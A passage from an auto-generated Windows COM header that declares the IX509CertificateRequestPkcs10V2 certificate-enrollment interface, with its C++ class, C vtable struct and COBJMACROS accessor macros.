IX509CertificateRequestPkcs10_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10V2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10V2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs10V2 : public IX509CertificateRequestPkcs10\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPrivateKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPublicKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10V2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10V2Vtbl;\n\n    interface IX509CertificateRequestPkcs10V2\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10V2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10V2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10V2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10V2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10V2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10V2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10V2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10V2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10V2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10V2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10V2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10V2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10V2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10V2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10V2_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestPkcs10V2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) 